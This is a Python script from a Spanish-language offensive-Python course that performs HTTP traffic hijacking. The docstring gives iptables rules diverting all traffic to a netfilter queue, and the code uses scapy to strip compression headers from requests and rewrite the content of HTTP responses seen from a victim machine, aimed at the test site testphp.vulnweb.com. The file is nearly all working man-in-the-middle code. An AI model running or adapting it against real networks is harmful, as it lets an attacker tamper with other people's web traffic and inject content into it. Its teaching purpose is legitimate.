Curso-lenguaje-python/python-ofensivo/15_hacking/08_traffic_hijacking.py

113 lines
2.8 KiB
Python

#!/usr/bin/env python3
"""
Traffic Hijacking
Vamos a injectar código en la web testphp.vulnweb.com para que cuando se haga
una petición a la web desde la máquina victima, se redirija a nuestra web.
Para que funcione hay que redirigir el tráfico a la cola 0:
iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0
iptables -I FORWARD -j NFQUEUE --queue-num 0
iptables --policy FORWARD ACCEPT
Con esto no puedes navegar porque los paquetes están a la espera
de ser procesados por netfilterqueue.
Para eliminar las anteriores reglas:
iptables -D INPUT -j NFQUEUE --queue-num 0
iptables -D OUTPUT -j NFQUEUE --queue-num 0
iptables -D FORWARD -j NFQUEUE --queue-num 0
iptables --policy FORWARD ACCEPT
"""
import netfilterqueue
import re
import scapy.all as scapy
import signal
import sys
def def_handler(sig, frame):
"""
Ctrl + C
"""
print('\n[!] Saliendo...\n')
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def set_load(packet, load):
"""
Modifica el campo load del paquete
"""
# Modificamos el campo load del paquete
packet[scapy.Raw].load = load
# Eliminamos los campos de la capa IP y TCP para que se recalcule el checksum
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
"""
Procesa los paquetes que llegan a la cola 0
"""
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
try:
if scapy_packet[scapy.TCP].dport == 80:
print("Modificada petición HTTP")
# Eliminamos la cabecera Accept-Encoding para que no comprima
# el contenido
modified_load = re.sub(
b"Accept-Encoding:.*?\\r\\n", b"", scapy_packet[scapy.Raw].load
)
# Eliminamos la cabecera HTTP/1.1 para que no se queje
new_packet = set_load(scapy_packet, modified_load)
# Inyectamos código en la petición
packet.set_payload(new_packet.build())
elif scapy_packet[scapy.TCP].sport == 80:
print("Modificada respuesta HTTP")
# Inyectamos código HTML en la respuesta
modified_load = scapy_packet[scapy.Raw].load.replace(
b"welcome to our page", b"Welcome to the hacked page ;)"
)
# Enviamos el paguete modificado
new_packet = set_load(scapy_packet, modified_load)
packet.set_payload(new_packet.build())
except:
pass
packet.accept()
print(f"[+] Iniciando traffic hijacking ...")
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()